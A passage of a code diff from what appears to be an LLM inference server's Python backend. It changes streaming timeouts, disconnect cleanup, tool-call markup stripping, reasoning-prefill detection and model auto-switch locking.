_raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + lease = reservation.lease_nowait() + if lease is not None: + yield lease + return + + now = time.monotonic() + wait_s = min(_OPENAI_LLAMA_ADMISSION_POLL_S, max(next_keepalive_at - now, 0.001)) + if deadline is not None: + remaining_s = deadline - now + if remaining_s <= 0: + reservation.cancel() + raise _openai_admission_timeout_error(reservation) + wait_s = min(wait_s, max(remaining_s, 0.001)) + try: + lease = await reservation.wait(wait_s) + except asyncio.TimeoutError: + lease = None + if lease is not None: + yield lease + return + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + now = time.monotonic() + if now >= next_keepalive_at: + next_keepalive_at = now + keepalive_interval_s + yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE + except asyncio.CancelledError: + reservation.cancel() + raise + + +async def _close_openai_admitted_stream_iterator(iterator, *, cancelled: bool) -> None: + if iterator is None: + return + if cancelled: + athrow = getattr(iterator, "athrow", None) + if athrow is not None: + try: + await athrow(asyncio.CancelledError()) + except (asyncio.CancelledError, StopAsyncIteration, RuntimeError): + return + aclose = getattr(iterator, "aclose", None) + if aclose is not None: + await aclose() + + +def _openai_compat_stream_stall_timeout(): + """Max silent gap after an OpenAI passthrough stream has produced data. + + If the socket goes silent after valid SSE data, this bounds how long the + client is kept open. Defaults to the backend-wide stall timeout so this + path stalls out like every sibling stream; set the env var to tighten it + for local serving, or to 0 to disable the guard. + """ + return _positive_float_env( + _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV, + _DEFAULT_STREAM_STALL_TIMEOUT_S, + ) + + +def _openai_passthrough_upstream_headers(*, llama_backend = None) -> dict: + headers = {} + auth_headers = getattr(llama_backend, "_auth_headers", None) + if isinstance(auth_headers, dict): + headers.update(auth_headers) + headers["Connection"] = "close" + return headers + + +class _CompatSameTaskTimeout: + """Same-task timeout fallback for Python versions before asyncio.timeout.""" + + def __init__(self, timeout_s: float): + self.timeout_s = timeout_s + self._task = None + self._handle = None + self._timed_out = False + self._cancelling = 0 + + async def __aenter__(self): + self._task = asyncio.current_task() + if self._task is None: + return self + if hasattr(self._task, "cancelling"): + self._cancelling = self._task.cancelling() + loop = asyncio.get_running_loop() + self._handle = loop.call_later(max(self.timeout_s, 0), self._cancel_task) + return self + + async def __aexit__(self, exc_type, exc, tb): + if self._handle is not None: + self._handle.cancel() + if exc_type is not None and issubclass(exc_type, asyncio.CancelledError): + if self._timed_out: + if self._task is not None and hasattr(self._task, "uncancel"): + if self._task.uncancel() > self._cancelling: + return None + raise asyncio.TimeoutError from exc + return None + + def _cancel_task(self) -> None: + self._timed_out = True + if self._task is not None: + self._task.cancel() + + +def _same_task_timeout(timeout_s: float): + timeout_ctx = getattr(asyncio, "timeout", None) + if timeout_ctx is not None: + return timeout_ctx(timeout_s) + return _CompatSameTaskTimeout(timeout_s) + + +class _SameTaskStreamingResponse(StreamingResponse): + """StreamingResponse without Starlette's legacy AnyIO task-group wrapper.""" + + def __init__( + self, + *args, + unstarted_cleanup = None, + **kwargs, + ) -> None: + super().__init__(*args, **kwargs) + # Released when the client disconnects before the body iterator starts: + # its try/finally never runs, so a stream that opens resources before the + # first yield (the passthrough's upstream httpx stream) passes this. + self._unstarted_cleanup = unstarted_cleanup + + async def __call__(self, scope, receive, send) -> None: + # send() emits a body message only after the first chunk, so no body + # message means the generator never entered its try/finally. + body_started = False + + async def _tracking_send(message) -> None: + nonlocal body_started + if message.get("type") == "http.response.body": + body_started = True + await send(message) + + try: + await self.stream_response(_tracking_send) + except OSError: # client disconnected mid-send + if body_started: + # Generator is suspended in its try/finally: throw CancelledError + # (not aclose's GeneratorExit) so its handler finishes the + # api_monitor entry. Fall back to aclose() without athrow. + athrow = getattr(self.body_iterator, "athrow", None) + if athrow is not None: + try: + await athrow(asyncio.CancelledError()) + except (asyncio.CancelledError, StopAsyncIteration, RuntimeError): + pass + else: + aclose = getattr(self.body_iterator, "aclose", None) + if aclose is not None: + await aclose() + else: + # Generator never started; aclose()/athrow() are no-ops on it, so + # release eager resources via the hook. getattr guards a response + # built through __new__ without __init__ (tests, pickling). + aclose = getattr(self.body_iterator, "aclose", None) + if aclose is not None: + await aclose() + cleanup = getattr(self, "_unstarted_cleanup", None) + if cleanup is not None: + try: + await cleanup() + except Exception: + pass + raise ClientDisconnect() + if self.background is not None: + await self.background() + + +def _tracked_cancel_unstarted_cleanup(tracker): + """unstarted_cleanup that exits ``tracker`` on a pre-start disconnect, when + the generator's finally (which normally exits it) never runs.""" + + async def _cleanup() -> None: + tracker.__exit__(None, None, None) + + return _cleanup + + async def _aclose_stream_resources( *, watchers = (), @@ -760,7 +1496,8 @@ async def _aclose_stream_resources( """Tear down an httpx streaming generator's resources in the required order: cancel + await each watcher task, then aclose() the byte/line iterator, the response, and the client. Each step swallows its own exceptions so teardown - always completes. See _anthropic_passthrough_stream for the ordering rationale.""" + always completes; a close-time CancelledError is re-raised only after every + step has run. See _anthropic_passthrough_stream for the ordering rationale.""" for watcher in watchers: if watcher is not None: watcher.cancel() @@ -768,21 +1505,30 @@ async def _aclose_stream_resources( await watcher except (asyncio.CancelledError, Exception): pass + close_cancelled = False if iterator is not None: try: await iterator.aclose() + except asyncio.CancelledError: + close_cancelled = True except Exception: pass if resp is not None: try: await resp.aclose() + except asyncio.CancelledError: + close_cancelled = True except Exception: pass if client is not None: try: await client.aclose() + except asyncio.CancelledError: + close_cancelled = True except Exception: pass + if close_cancelled: + raise asyncio.CancelledError() async def _preheader_cancelled(cancel_event = None, request: Optional[Request] = None) -> bool: @@ -805,6 +1551,7 @@ async def _send_stream_with_preheader_cancel( req: httpx.Request, cancel_event = None, request: Optional[Request] = None, + mark_cancel_on_cancel: bool = True, ) -> Optional[httpx.Response]: if cancel_event is None and request is None: return await client.send(req, stream = True) @@ -836,7 +1583,7 @@ async def _send_stream_with_preheader_cancel( await _stop_send_task() return None except asyncio.CancelledError: - if cancel_event is not None: + if mark_cancel_on_cancel and cancel_event is not None: cancel_event.set() await _stop_send_task() raise @@ -855,11 +1602,19 @@ async def _aiter_llama_stream_items( request: Optional[Request] = None, first_token_deadline: Optional[float] = None, response: Optional[httpx.Response] = None, - post_first_item_read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S, + post_first_item_read_timeout_s: Optional[ + Union[float, Callable[[], Optional[float]]] + ] = _DEFAULT_STREAM_STALL_TIMEOUT_S, ): if first_token_deadline is None: first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S last_item_at: Optional[float] = None + + def _post_first_timeout_s() -> Optional[float]: + if callable(post_first_item_read_timeout_s): + return post_first_item_read_timeout_s() + return post_first_item_read_timeout_s + while True: if cancel_event is not None and cancel_event.is_set(): return @@ -875,8 +1630,22 @@ async def _aiter_llama_stream_items( raise httpx.ReadTimeout("The model did not produce a first token in time.") if response is not None: _set_stream_response_read_timeout(response, remaining_s) - item = await asyncio.wait_for(async_iter.__anext__(), timeout = remaining_s) + # Keep httpx/httpcore's AnyIO cancel scope in this task. + # asyncio.wait_for would drive __anext__ in a child task. + async with _same_task_timeout(remaining_s): + item = await async_iter.__anext__() else: + timeout_s = _post_first_timeout_s() + if ( + request is not None + and response is not None + and timeout_s is not None + and last_item_at is not None + ): + stall_remaining_s = timeout_s - (time.monotonic() - last_item_at) + if stall_remaining_s <= 0: + raise httpx.ReadTimeout("The model stopped producing tokens mid-response.") + _set_stream_response_read_timeout(response, stall_remaining_s) item = await async_iter.__anext__() except asyncio.TimeoutError as exc: if waiting_first_item: @@ -890,13 +1659,16 @@ async def _aiter_llama_stream_items( if now >= first_token_deadline: raise continue + timeout_s = _post_first_timeout_s() + if request is not None and timeout_s is not None and now - last_item_at < timeout_s: + continue raise httpx.ReadTimeout("The model stopped producing tokens mid-response.") - if ( - last_item_at is None - and response is not None - and post_first_item_read_timeout_s is not None - ): - _set_stream_response_read_timeout(response, post_first_item_read_timeout_s) + if last_item_at is None and response is not None: + # The first-token read deadline no longer applies once a chunk has + # arrived: switch to the stall timeout, or clear the read timeout + # entirely when the stall guard is disabled (callable returns None) + # so a long gap can't trip the stale first-token deadline. + _set_stream_response_read_timeout(response, _post_first_timeout_s()) last_item_at = time.monotonic() yield item @@ -963,8 +1735,26 @@ from auth.authentication import get_current_subject from state.tool_approvals import resolve_tool_decision from core.inference.key_exchange import decrypt_api_key +from core.inference.model_ids import public_model_id from core.inference.api_monitor import api_monitor from core.inference.llama_http import nonstreaming_client +from core.inference.tool_call_parser import ( + _strip_function_xml_calls, + _strip_gemma_wrapperless_calls, + _strip_glm_calls, + _strip_mistral_closed_calls, +) +from core.inference.tool_call_parser import TOOL_XML_SIGNALS as _PARSER_TOOL_SIGNALS +from core.inference.passthrough_healing import ( + StreamToolCallHealer, + heal_gate, + heal_openai_message, + heal_openai_message_events, + nudge_enabled, + nudge_messages, + nudge_should_retry, + response_has_promotable_calls, +) from core.inference.providers import get_base_url from core.inference.external_provider import ExternalProviderClient from core.inference.chat_templates import resolve_effective_chat_template_override @@ -1090,15 +1880,13 @@ async def _authenticate_header_or_query(request: Request, token: Optional[str]) @studio_router.get("/artifact-preview-frame", include_in_schema = False) -async def artifact_preview_frame( - request: Request, - allow_network: bool = False, - token: Optional[str] = None, -): - """Serve the opaque sandbox shell used for client-side HTML canvases.""" +async def artifact_preview_frame(allow_network: bool = False): + """Serve the opaque sandbox shell for client-side HTML canvases. - if allow_network: - await _authenticate_header_or_query(request, token) + No auth token by design: the URL is readable by the untrusted canvas via + location.href, and this static shell exposes no server resource (frame-ancestors + plus the sandbox already gate it), so the CSP is chosen from allow_network alone. + """ csp = ( _ARTIFACT_PREVIEW_FRAME_NETWORK_CSP if allow_network else _ARTIFACT_PREVIEW_FRAME_STRICT_CSP @@ -1115,6 +1903,11 @@ async def artifact_preview_frame( ) +# Whitespace/escape-tolerant bare-JSON tool-template detector (matches pretty-printed and +# JSON-escaped ``{"name":`` plus the ``"function"`` alias), mirroring the parser's tolerance. +_BARE_JSON_NAME_MARKER_RE = _re.compile(r'\{\s*\\?"(?:name|function)\\?"\s*:') + + def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict: """Classify reasoning/tool capabilities via the GGUF classifier so flags match across backends. gpt-oss is overridden: Harmony routes reasoning and @@ -1125,16 +1918,22 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict: model_identifier = model_id, log_source = "safetensors", ) - # Our safetensors loop only parses {json} and - # .... Llama uses <|python_tag|>, Mistral uses - # [TOOL_CALLS]; advertising tools for those enables a pill the parser - # can't honour. GGUF is unaffected -- llama-server normalises every - # format into structured deltas. + # Markers any supported parser recognises (template advertises tools but + # uses none -> drop the pill). Reuse the parser's own signal list so this + # gate never drifts (a hand-maintained copy lost the DeepSeek variants); + # ```` is GLM's unique signal, absent from the shared set. The + # bare-JSON ``{"name":`` form is matched below with the whitespace/escape- + # tolerant ``_BARE_JSON_NAME_MARKER_RE`` so pretty-printed or escaped + # templates are not mis-classified as tool-less. + _PARSER_MARKERS = ( + *_PARSER_TOOL_SIGNALS, + "", + ) if ( flags.get("supports_tools") and chat_template - and "" not in chat_template - and " dict: return flags +def _generation_prompt_opens_think(template: Optional[str]) -> bool: + """True when rendering the template's generation prompt ends INSIDE an unclosed ````. + + Distinguishes templates that PREFILL an open ```` in the assistant generation + prompt (DeepSeek-R1, QwQ, Qwen3-Thinking) -- where the model emits only the closing + ```` and the extractor must start in reasoning mode -- from templates that merely + render PAST assistant ``...`` history while leaving the generation prompt + open with no ```` (e.g. Kimi-K2-Thinking), where the model self-emits its own block + and the extractor must start in normal mode. Renders a single-user-message probe with the + same sandbox transformers uses; on any failure returns True, preserving the historical + always-on prefill for templates that cannot be rendered here. + """ + if not template: + return False + try: + from jinja2.sandbox import ImmutableSandboxedEnvironment + + def _raise_exception(message: str): + raise RuntimeError(message) + + env = ImmutableSandboxedEnvironment( + trim_blocks = True, + lstrip_blocks = True, + extensions = ["jinja2.ext.loopcontrols"], + ) + env.filters["tojson"] = lambda value, **kwargs: json.dumps(value, ensure_ascii = False) + env.globals["raise_exception"] = _raise_exception + rendered = env.from_string(template).render( + messages = [{"role": "user", "content": "hi"}], + add_generation_prompt = True, + bos_token = "", + eos_token = "", + ) + except Exception: + return True + # ```` is not a substring of ```` (the ``/`` breaks it), so the last open + # tag sitting after the last close tag means the prompt ends inside an open block. + return rendered.rfind("") > rendered.rfind("") + + +def _sf_reasoning_prefill_mode( + features: dict, + enable_thinking: Optional[bool], + template: Optional[str] = None, + reasoning_effort: Optional[str] = None, +) -> bool: + """Whether a safetensors/MLX generation begins INSIDE an unclosed ````. + + ``enable_thinking`` templates (Qwen3/GLM) prefill an open ```` so the model + emits only the closing ````, and the extractor must start in reasoning mode. + Gated on the STANDARD ````/```` markers: bespoke channels (gemma's + ``<|think|>``) never emit ```` and would swallow the answer, so they and + gpt-oss and thinking-disabled requests return False. ``enable_thinking`` None + defaults thinking ON, so a plain request still prefills. + """ + if features.get("reasoning_style") not in ("enable_thinking", "enable_thinking_effort"): + return False + tpl = template or "" + if "" not in tpl and "" not in tpl: + return False + if features.get("reasoning_always_on"): + # enable_thinking_effort + always-on: the effort mechanism (not the prompt shape) keeps + # thinking on, so always-on wins over reasoning_effort and we prefill. + if features.get("reasoning_style") == "enable_thinking_effort": + return True + # ``reasoning_always_on`` fires on paired ``...`` anywhere in the + # template, including markup that only renders PAST assistant history (Kimi-K2-Thinking) + # while the generation prompt opens none. Prefill only when the generation prompt opens + # one, else the extractor captures a normal answer as reasoning_content and returns blank. + return _generation_prompt_opens_think(tpl) + if not features.get("supports_reasoning"): + return False + if enable_thinking is False: + return False + # Thinking-off arrives as reasoning_effort "none" on enable_thinking_effort models; honor it + # so we don't prefill and capture the answer. Plain enable_thinking models ignore effort. + if features.get("reasoning_style") == "enable_thinking_effort" and reasoning_effort == "none": + return False + return True + + def _effective_enable_tools(payload) -> Optional[bool]: """Resolve `payload.enable_tools` against the process-level tool policy. @@ -1167,6 +2047,20 @@ def _effective_enable_tools(payload) -> Optional[bool]: return policy if policy is not None else payload.enable_tools +def _explicit_studio_tool_loop_requested(payload) -> bool: + """True when the request itself asks Studio to execute local tools. + + Process-wide CLI policy can default Studio's tool loop on for ordinary chat, + but it must not steal OpenAI-compatible client tools or response_format + requests from the llama-server passthrough path. A policy of ``False`` + (--disable-tools) vetoes even an explicit ``enable_tools: true`` ask. + """ + from state.tool_policy import get_tool_policy + + policy = get_tool_policy() + return policy is not False and (payload.enable_tools is True or bool(payload.mcp_enabled)) + + # Cancel registry. Proxies (e.g. Colab) can swallow client fetch aborts so # is_disconnected() never fires. POST /inference/cancel looks up in-flight # cancel_events here by cancel_id (per-run) or session_id / completion_id @@ -1297,6 +2191,57 @@ async def _await_disconnect_then_close(request, resp, cancel_event) -> None: return +async def _await_disconnect_then_cancel(request, cancel_event) -> None: + """Set ``cancel_event`` when a same-task local stream disconnects.""" + try: + while not await request.is_disconnected(): + await asyncio.sleep(0.1) + cancel_event.set() + except asyncio.CancelledError: + return + + +def _cancelable_nonstreaming_client() -> httpx.AsyncClient: + return httpx.AsyncClient( + limits = httpx.Limits(max_connections = 1, max_keepalive_connections = 0), + trust_env = False, + ) + + +async def _await_cancel_or_disconnect_then_close_client( + *, cancel_event, request: Optional[Request], client: httpx.AsyncClient +) -> None: + """Close a dedicated non-streaming upstream client on cancel/disconnect. + + The shared ``nonstreaming_client()`` is pooled, so cancelable generation calls + use a per-request client. Closing it interrupts a blocked llama-server + request without affecting unrelated pooled non-streaming calls. + """ + try: + while True: + if cancel_event is not None and cancel_event.is_set(): + break + if request is not None and await request.is_disconnected(): + if cancel_event is not None: + cancel_event.set() + break + await asyncio.sleep(0.1) + try: + await client.aclose() + except Exception: + pass + except asyncio.CancelledError: + return + + +async def _stop_local_disconnect_cancel_watcher(watcher) -> None: + watcher.cancel() + try: + await watcher + except (asyncio.CancelledError, Exception): + pass + + # Centralized local/server tool nudge. Keep render_html guidance gated to turns # where the canvas tool is actually present in the tool schema; otherwise # small local models can hallucinate a missing tool call instead of following @@ -1407,28 +2352,155 @@ def _apply_rag_nudge(nudge: str, tools: list[dict], *, rag_scope) -> str: return nudge + " " + _RAG_GROUNDING_NUDGE -# Strip tool-call XML the speculative buffer in core/inference/llama_cpp.py -# split across the visible/DRAIN boundary. Four leak shapes: +# Strip leaked tool-call markup: every shared-parser format plus the leak shapes +# llama_cpp.py's speculative buffer splits across the visible/DRAIN boundary: # 1. well-formed `...` / `...` # 2. orphan opening to EOF (close was DRAINED) # 3. bare orphan close (open was DRAINED) # 4. tail-only `` (outer close truncated by EOS); anchored to # `\Z` so mid-text `` in user code samples survives. +# 5. Mistral `[TOOL_CALLS]name{json}` / rehearsal `name[ARGS]{json}`: the balanced +# scan removes the whole call (a non-greedy regex would truncate nested JSON). +# DeepSeek/GLM/Kimi envelopes are covered by the parser's own arms/scans, so a signal +# we parse is never left un-stripped; the DeepSeek opener alternation is the parser's own. +from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC + _TOOL_XML_RE = _re.compile( - # Hyphen in the name char-class matches MCP tool names with dashes - # (mcp__srv__list-issues) that would otherwise leak past this strip. - r"<(?:tool_call|function=[\w-]+)>.*?(?:|\Z)" + # Arm order/notes: the closed ```` arm runs first and extends + # to the call's REAL close so a literal ```` in a value does not + # leak the tail; the combined arm still catches ```` and orphan + # tails. The python_tag arm bounds only on REAL Llama control sentinels + # (stopping at any ``<|`` truncated on literal ``<|x|>`` tokens in values). + # The last arms cover DeepSeek envelopes (all opener variants), Kimi section + # blocks, and bare Kimi calls. Name class ``[\w.\-]`` mirrors the parser. + # Those three arms carry a call-shaped lookahead (matching the parser's + # ``_TOOL_ALL_PATS``): a prose answer that merely mentions a marker + # (``See <|tool_call_begin|> in the docs``) is only stripped when a real + # call actually follows the marker, or the marker is a bare fragment at EOF. + r'(?:(?!).)*' + r'|<(?:tool_call|function(?:=[\w.\-]+|\s+name="[\w.\-]+"))>.*?(?:|\Z)' + r"|<\|tool_call>.*?(?:|\Z)" r"|" - r"|\s*\Z", + r"|" + r"|<\|python_tag\|>(?:[^<]|<(?!\|(?:eot_id|eom_id|python_tag|start_header_id|end_header_id|begin_of_text|finetune_right_pad_id)\|))*" + r"|\[/TOOL_CALLS\]" + # Truncated canonical array (closing ``]`` lost to EOS): the balanced scan cannot remove + # it, so strip its tail here. + r"|\[TOOL_CALLS\]\s*\[.*\Z" + # Named / v11 forms and bare rehearsal; arms aligned with the parser regexes. + r"|\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|.*?\Z)" + # Rehearsal: balanced/truncated body or bare marker at EOS only (prose ``foo[ARGS]`` + # survives); NAME captured as ``reh`` for the inactive-name display gate. + r"|(?[\w-]+)\[ARGS\]\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|\{.*\Z|\Z)" + # DeepSeek envelopes (all opener variants), Kimi section blocks, and bare Kimi calls; + # each arm carries a call-shaped lookahead so prose merely mentioning a marker survives. + r"|" + + _DS_OPEN_SRC + + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*?(?:<｜tool▁calls▁end｜>|\Z)" + r"|<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*?(?:<\|tool_calls_section_end\|>|\Z)" + r"|<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*?(?:<\|tool_call_end\|>|\Z)" + # ```` is the attribute-form alias of ```` (the parser accepts + # both); strip a tail-only orphan close of either spelling. + r"|\s*\Z", + _re.DOTALL, +) + +# Closed-only variant for segments before the last think block: the ``\Z``-anchored arms +# would treat a segment boundary as EOS and strip prose ``foo[ARGS]``. +_TOOL_XML_CLOSED_RE = _re.compile( + r"<(?:tool_call|function=[\w-]+)>.*?" + r"|<\|tool_call>.*?" + r"|" + r"|" + r"|\[/TOOL_CALLS\]", _re.DOTALL, ) -def _strip_tool_xml_for_display(text: str, *, auto_heal_tool_calls: bool) -> str: - """Apply route-level XML leak cleanup only when Auto-Heal is enabled.""" +def _gemma_strip_gate(tools) -> set: + """Enabled tool NAMES gating the wrapper-less Gemma strip (mirrors the + parser/loop gate: only an enabled ``call:foo{...}`` is a call). With NO tools + enabled this returns an EMPTY set, not ``None``: every ``call:NAME{...}`` is + then prose, and ``None`` would strip-all and delete a legitimate answer.""" + names = { + (t.get("function") or {}).get("name") + for t in (tools or []) + if isinstance(t, dict) and isinstance(t.get("function"), dict) + } + names.discard(None) + return names + + +def _display_tool_name_gate(active_tools): + """Active tool NAMES for gating the rehearsal display strip, or None when no tools + are enabled. ``None`` keeps the legacy strip-all behavior, mirroring the loop gate: + a bare ``NAME[ARGS]`` is a call only when NAME is active; without a tool list every + identifier stays ambiguous, so strip.""" + names = { + (t.get("function") or {}).get("name") + for t in (active_tools or []) + if isinstance(t, dict) and isinstance(t.get("function"), dict) + } + names.discard(None) + return names or None + + +def _strip_tool_xml_for_display( + text: str, + *, + auto_heal_tool_calls: bool, + enabled_tool_names: Optional[set] = None, +) -> str: + """Apply route-level XML leak cleanup only when Auto-Heal is enabled. + + Mirrors the parser-side segment scan: balanced strips first (Mistral, gated Gemma + wrapper-less, GLM real-close, guarded function-XML close at each call's REAL terminator + so literal markup inside a value is data), then the ``_TOOL_XML_RE`` arms cover the + DeepSeek / Kimi / orphan forms. ```` blocks are preserved verbatim and the + ``\\Z``-anchored tail arms run only on the last segment (prose ``foo[ARGS]`` before a + block survives). ``enabled_tool_names`` (when not None) gates the ambiguous bare-rehearsal + ``NAME[ARGS]{...}`` and wrapper-less Gemma ``call:NAME{...}`` strips on the active tool + list; an inactive NAME is prose and is kept. The ``[TOOL_CALLS]`` control-token arms strip + unconditionally regardless of NAME.""" if not auto_heal_tool_calls: return text - return _TOOL_XML_RE.sub("", text) + from core.tool_healing import _strip_bracket_tag_calls, strip_outside_think + + def _keep_inactive_rehearsal(m) -> str: + # Only the bare-rehearsal arm captures ``reh``; with a tool list an inactive + # NAME[ARGS]{...} is prose -- keep it. + if enabled_tool_names is not None: + name = m.groupdict().get("reh") + if name is not None and name not in enabled_tool_names: + return m.group(0) + return "" + + def _strip_segment(seg: str, is_last: bool) -> str: + # Scan strips close at each call's REAL terminator (a literal ```` or a + # nested marker quoted inside a value cannot truncate the strip); the regex arms below + # cover the attribute form and the DeepSeek / Kimi / orphan families. + seg = _strip_mistral_closed_calls(seg) + seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names) + if is_last: + seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names) + seg = _strip_glm_calls(seg, final = is_last) + seg = _strip_function_xml_calls(seg, final = is_last) + if is_last: + return _TOOL_XML_RE.sub(_keep_inactive_rehearsal, seg) + return _TOOL_XML_CLOSED_RE.sub("", seg) + + return strip_outside_think(text, _strip_segment) + + +def _strip_tool_xml(text: str, enabled_tool_names: Optional[set] = None) -> str: + # Mistral balanced-brace pre-strip (kept explicit so the regression guards see it), then + # the shared think-aware display strip -- the one raw _TOOL_XML_RE.sub lives inside + # _strip_tool_xml_for_display, so every route cleanup site shares it. ``enabled_tool_names`` + # gates the Gemma wrapper-less strip; ``None`` strips every closed call. + text = _strip_mistral_closed_calls(text) + return _strip_tool_xml_for_display( + text, auto_heal_tool_calls = True, enabled_tool_names = enabled_tool_names + ) logger = get_logger(__name__) @@ -1914,6 +2986,32 @@ def _should_strip_split_mode(request: LoadRequest, backend_extra: Optional[list[ ) +def _carry_preserved_tensor_intent( + *, preserved: bool, same_model: bool, explicit_drop: bool +) -> bool: + """Carry a preserved multi-GPU layer fallback forward only for a reload of the + SAME loaded model that doesn't explicitly drop tensor intent, so a fitting model + isn't collapsed to one GPU on a ctx-only change -- but an unrelated model switch + (without /unload) or an explicit tensor-off doesn't inherit it (#6659).""" + return preserved and same_model and not explicit_drop + + +def _is_explicit_tensor_drop(request: LoadRequest) -> bool: + """True only when the request explicitly selects a non-tensor --split-mode (e.g. + layer/row/none), a deliberate departure from a preserved tensor->layer fallback. + + A bare tensor_parallel field is NOT a drop: the Studio UI always sends it and echoes + the /load response's resolved value back, so after a fallback every reload carries + tensor_parallel=false even though the user never changed it -- treating that as a drop + would collapse the preserved multi-GPU placement on the next ctx/settings reload. An + empty clear is not a drop either (a fallback always stores --split-mode layer, never a + tensor split mode, so a clear never wipes tensor intent), nor is an unrelated extra + (--top-k) or inherit (None). tensor_parallel=true / --split-mode tensor re-engage + tensor. Shared by the already-loaded dedup and the load carry-forward (#6659).""" + override = parse_split_mode_override(request.llama_extra_args) + return override is not None and override.strip().lower() != "tensor" + + def _request_matches_loaded_settings( request: LoadRequest, llama_backend: LlamaCppBackend, @@ -1952,6 +3050,13 @@ def _request_matches_loaded_settings( effective_extra, request.tensor_parallel, llama_backend.tensor_parallel ): return False + # Preserved tensor->layer fallback (both report tensor=off, so the check above + # matches): if the user now explicitly drops tensor intent, reload so placement + # re-selects instead of keeping the all-GPU mask (#6659). The effective check + # includes the env, so an env-only tensor (LLAMA_ARG_SPLIT_MODE=tensor) that + # can't actually be dropped falls through to the env-downgrade match, not a loop. + if llama_backend.layer_preserves_tensor_intent and _is_explicit_tensor_drop(request): + return False # Spec decoding works on vision models too (MTP is mmproj-compatible, # llama.cpp #22673; the old ``not is_vision`` gate is gone), so compare # the real requested mode -- coercing vision to ``off`` here used to @@ -2065,6 +3170,426 @@ def get_llama_cpp_backend() -> LlamaCppBackend: return _llama_cpp_backend +# Serializes opt-in auto-switch loads so two requests can't race a swap. One +# lock per running loop, since a module-level asyncio.Lock binds to a single +# loop and breaks multi-loop runners (e.g. pytest's per-test loops on pre-3.10). +_auto_switch_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_auto_switch_locks_guard = threading.Lock() + + +def _auto_switch_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + # WeakKeyDictionary mutation isn't thread-safe; guard get-or-create so two + # loops on different threads can't race it. + with _auto_switch_locks_guard: + lock = _auto_switch_locks.get(loop) + if lock is None: + lock = _auto_switch_locks[loop] = asyncio.Lock() + return lock + + +# Process-wide gate so a swap on another event loop in this process can't race +# this one for the single model slot: the asyncio lock above is per loop, but the +# backend slot and _load_model_impl are process-wide. threading.Lock so it serializes +# across loops/threads; released from the loop thread (Lock allows cross-thread release). +_auto_switch_process_lock = threading.Lock() + + +async def _acquire_swap_gate() -> None: + # Non-blocking first for the common single-loop case; otherwise poll off a + # short sleep rather than awaiting to_thread(acquire). A cancelled to_thread + # (client disconnect mid-wait) leaves its worker thread still acquiring, so the + # gate gets taken but the finally that releases it never runs -- deadlocking + # later swaps. Polling keeps the wait off this loop AND cancellation-safe: a + # cancel lands during the sleep, when the gate is not held. + while not _auto_switch_process_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + + +# Counts in-flight auto-switch requests per (target, variant). The busy guard +# subtracts same-target waiters so concurrent requests for one model load once +# instead of each 409-ing the other. +_auto_switch_waiters: dict[tuple[str, str], int] = {} +_auto_switch_waiters_guard = threading.Lock() + + +def _switch_key(override_id: str, variant: Optional[str]) -> tuple[str, str]: + return (override_id.lower(), (variant or "").lower()) + + +def _note_switch_waiter(key: tuple[str, str], delta: int) -> None: + with _auto_switch_waiters_guard: + n = _auto_switch_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_waiters[key] = n + else: + _auto_switch_waiters.pop(key, None) + + +def _same_target_waiters(key: tuple[str, str]) -> int: + with _auto_switch_waiters_guard: + return _auto_switch_waiters.get(key, 0) + + +# A second waiter map keyed by the raw requested model, registered before the +# (slow) resolve. The middleware counts a concurrent same-model request as +# in-flight before it resolves and joins _auto_switch_waiters, so without this +# the first request would see it as an unrelated request and 409. +_auto_switch_request_waiters: dict[str, int] = {} +_auto_switch_request_waiters_guard = threading.Lock() + + +def _request_waiter_key(requested_model: str) -> str: + return requested_model.strip().lower() + + +def _note_request_waiter(key: str, delta: int) -> None: + with _auto_switch_request_waiters_guard: + n = _auto_switch_request_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_request_waiters[key] = n + else: + _auto_switch_request_waiters.pop(key, None) + + +def _same_request_waiters(key: str) -> int: + with _auto_switch_request_waiters_guard: + return _auto_switch_request_waiters.get(key, 0) + + +def _llama_public_model_id(llama_backend, fallback: Optional[str] = None) -> Optional[str]: + """The id to report for the loaded GGUF in API responses: the advertised repo + id from an auto-switch load, else the cleaned public id, never the on-disk + .gguf path (see core.inference.model_ids.public_model_id).""" + return ( + getattr(llama_backend, "_openai_advertised_id", None) + or public_model_id(getattr(llama_backend, "model_identifier", None)) + or public_model_id(fallback) + or fallback + ) + + +_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY = "_unsloth_disable_openai_auto_switch" +# Sentinel a raw-body endpoint passes when the request omits ``model``: it must +# only restore an idle-freed model, never run the resolver (so a downloaded GGUF +# literally named "default" can't be swapped to). The NUL keeps it off any index. +_RELOAD_ONLY_MODEL = "\x00reload-only" + + +def _switch_model_for_payload(payload) -> str: + # A pydantic request fills an omitted ``model`` with "default"; only an + # explicitly set model may switch, else reload-only so a GGUF named "default" + # is never matched (mirrors the raw-body sentinel path). + return payload.model if "model" in payload.model_fields_set else _RELOAD_ONLY_MODEL + + +def _target_is_vision(load_path: str) -> bool: + # A local GGUF's vision capability is its companion mmproj, a filesystem check + # (no model load). Matches the loaded backend's is_vision, so rejecting a swap + # here can't differ from the post-load guard. Thread the ambient HF token so the + # probe keeps the capability-probe invariant (the resolver only yields local + # paths, where the token 